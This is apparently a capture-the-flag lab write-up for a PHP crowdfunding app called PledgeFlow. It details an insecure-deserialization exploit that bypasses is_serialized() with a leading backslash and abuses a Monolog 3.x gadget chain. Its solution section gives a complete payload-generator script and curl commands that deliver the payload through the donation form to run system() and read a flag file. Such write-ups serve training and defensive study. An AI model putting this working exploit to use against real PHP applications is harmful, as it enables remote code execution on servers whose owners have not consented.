Lab 167 — PledgeFlow
Lab 167 — PledgeFlow
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: call_user_func_rce_via_processors_array, is_serialized_bypass_via_leading_backslash, monolog_rce8_gadget_chain_destruct, php_object_injection_via_maybe_unserialize, self_referencing_object_in_serialization, stripslashes_deep_null_byte_encoding
Summary
Walkthrough of the CUSTOM Web Lab 167 — PledgeFlow. Task: PHP crowdfunding platform with insecure deserialization in donation form via maybe_unserialize(). Solution: Bypass is_serialized() check with leading backslash (CVE-2024-8353 style), exploit Mon
Description
PledgeFlow is a crowdfunding and fundraising platform where campaign creators can launch causes and supporters can make donations. The platform features campaign browsing, a donor dashboard, payment processing, and account management. Built with PHP (Slim Framework 4) and uses various internal classes for payment processing, validation, and configuration management. The goal is to find and exploit a vulnerability in the donation form's data processing pipeline to achieve remote code execution and read a sensitive file on the server. Reference: CVE-2024-8353 (GiveWP PHP Object Injection).
English summary: A PHP crowdfunding platform (Slim Framework 4 + Monolog 3.x) has an insecure deserialization vulnerability in the donation form. The maybe_unserialize() helper function calls native unserialize() on user-controlled form fields. An is_serialized() check can be bypassed using a leading backslash that gets stripped by stripslashes_deep(). The Monolog library provides a POP gadget chain for RCE.
Analysis
Tech Stack
- PHP 8.2.26, nginx/1.25.5
- Slim Framework 4.12 (slim/slim, slim/psr7, slim/twig-view)
- Monolog 3.5 (monolog/monolog)
- Custom namespace:
PledgeFlow\(autoloaded fromsrc/)
Vulnerability Discovery
-
The donation form at
/campaign/{id}/donateaccepts fields:donor_name,donor_email,donor_title,amount,billing_address,message -
JavaScript source (
/js/app.js) contains a revealing comment:Complex form fields (billing_address, donor_title) support structured data formats for server-side processing. See: src/helpers.php — maybe_unserialize() -
composer.jsonis publicly accessible at/composer.json, revealing Monolog as a dependency (POP chain source) -
The
maybe_unserialize()function calls PHP's nativeunserialize()on user input after anis_serialized()validation check
The is_serialized() Bypass (CVE-2024-8353 Pattern)
The is_serialized() function checks if $data[1] === ':' to detect serialized strings. The bypass exploits the interaction between this check and stripslashes_deep():
- Prepend
\to the serialized payload:\O:28:"..." - Now
$data[1]is'O'(not':') → bypassesis_serialized()check stripslashes_deep()is applied to all form data, removing the leading\- Result is valid serialized data:
O:28:"..."which passes tounserialize()
Encoding Rules for stripslashes
| In payload | After stripslashes | Purpose |
|---|---|---|
\\ | \ | PHP namespace separators in class names |
\0 | chr(0) / null byte | Protected property prefix \x00*\x00 |
Leading \ before O | removed | The bypass mechanism itself |
POP Chain: Monolog RCE8 (Monolog 3.x)
The gadget chain leverages Monolog classes available via Composer autoloading:
Monolog\Handler\GroupHandler::__destruct()
→ close() → reset()
→ foreach $this->handlers as $handler: $handler->close()
Monolog\Handler\BufferHandler::close()
→ flush()
→ foreach $this->buffer as $record: $this->handler->handle($record)
→ (handler = self-reference via r:3, calls own handle())
BufferHandler::handle($record)
→ processRecord($record)
→ foreach $this->processors as $processor:
$record = call_user_func($processor, $record)
Processors chain:
1. get_object_vars($record) → returns associative array of object properties
2. end($array) → returns the last element (command string)
3. system($command) → Remote Code Execution!
The r:3 is a PHP serialization back-reference to object #3 (BufferHandler itself), creating the self-reference needed for the chain to call its own handle() method.
Solution
Step 1: Payload Construction
The serialized payload structure:
O:28:"Monolog\Handler\GroupHandler":1:{
s:11:"\x00*\x00handlers";a:1:{
i:0;O:29:"Monolog\Handler\BufferHandler":6:{
s:10:"\x00*\x00handler";r:3;
s:13:"\x00*\x00bufferSize";i:1;
s:14:"\x00*\x00bufferLimit";i:0;
s:9:"\x00*\x00buffer";a:1:{
i:0;O:8:"stdClass":1:{s:9:"formatted";s:LEN:"COMMAND";}
}
s:14:"\x00*\x00initialized";b:1;
s:13:"\x00*\x00processors";a:3:{
i:0;s:15:"get_object_vars";
i:1;s:3:"end";
i:2;s:6:"system";
}
}
}
}
The record object uses stdClass with a formatted property containing the command. Since get_object_vars() returns properties in declaration order and formatted is the only property, end() extracts the command string which is then passed to system().
Step 2: Payload Generator (PHP)
php read-only • copy allowed<?php $cmd = $argv[1] ?? "id"; $null = chr(0); $record = 'O:8:"stdClass":1:{s:9:"formatted";s:' . strlen($cmd) . ':"' . $cmd . '";}'; $processors = 'a:3:{i:0;s:15:"get_object_vars";i:1;s:3:"end";i:2;s:6:"system";}'; $buffer = 'a:1:{i:0;' . $record . '}'; $bh_props = 's:10:"' . $null . '*' . $null . 'handler";r:3;' . 's:13:"' . $null . '*' . $null . 'bufferSize";i:1;' . 's:14:"' . $null . '*' . $null . 'bufferLimit";i:0;' . 's:9:"' . $null . '*' . $null . 'buffer";' . $buffer . 's:14:"' . $null . '*' . $null . 'initialized";b:1;' . 's:13:"' . $null . '*' . $null . 'processors";' . $processors; $buffer_handler = 'O:29:"Monolog\Handler\BufferHandler":6:{' . $bh_props . '}'; $handlers = 'a:1:{i:0;' . $buffer_handler . '}'; $group_handler = 'O:28:"Monolog\Handler\GroupHandler":1:{s:11:"' . $null . '*' . $null . 'handlers";' . $handlers . '}'; // Apply stripslashes bypass encoding $bypass = str_replace("\\", "\\\\", $group_handler); // \ → \\ (preserved through stripslashes) $bypass = str_replace(chr(0), "\\0", $bypass); // null → \0 (restored by stripslashes) $bypass = "\\" . $bypass; // leading \ bypasses is_serialized() echo $bypass;
Step 3: Exploitation
bash read-only • copy allowedTARGET="https://4bf0284f-6f95-43dd-a997-17fdbf9eaf93.labs.hackadvisor.io" # Login to get session cookie curl -sk -c cookies.txt -L "$TARGET/login" \ -d "email=user%40test.com&password=password123" # Generate payload and send via billing_address field PAYLOAD=$(php gen_payload.php "cat /root/flag.txt") curl -sk -b cookies.txt "$TARGET/campaign/1/donate" \ -d "donor_name=Exploit&donor_email=test@test.com&amount=10&message=test&donor_title=Mr." \ --data-urlencode "billing_address=$PAYLOAD"
Key Insight: Field Selection
donor_titlefield: RCE executes via__destructbut output is hidden behind a 500 error page (the app tries to use the deserialized object as a string via__toString, which fails)billing_addressfield: RCE executes AND output is visible in the response body (different processing path that doesn't trigger__toString)
Key Takeaways / Lessons
- Mastering call_user_func_rce_via_processors_array, is_serialized_bypass_via_leading_backslash, monolog_rce8_gadget_chain_destruct, php_object_injection_via_maybe_unserialize, self_referencing_object_in_serialization, stripslashes_deep_null_byte_encoding was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-06-21 • CUSTOM • Lab 167 — PledgeFlow • Difficulty: Medium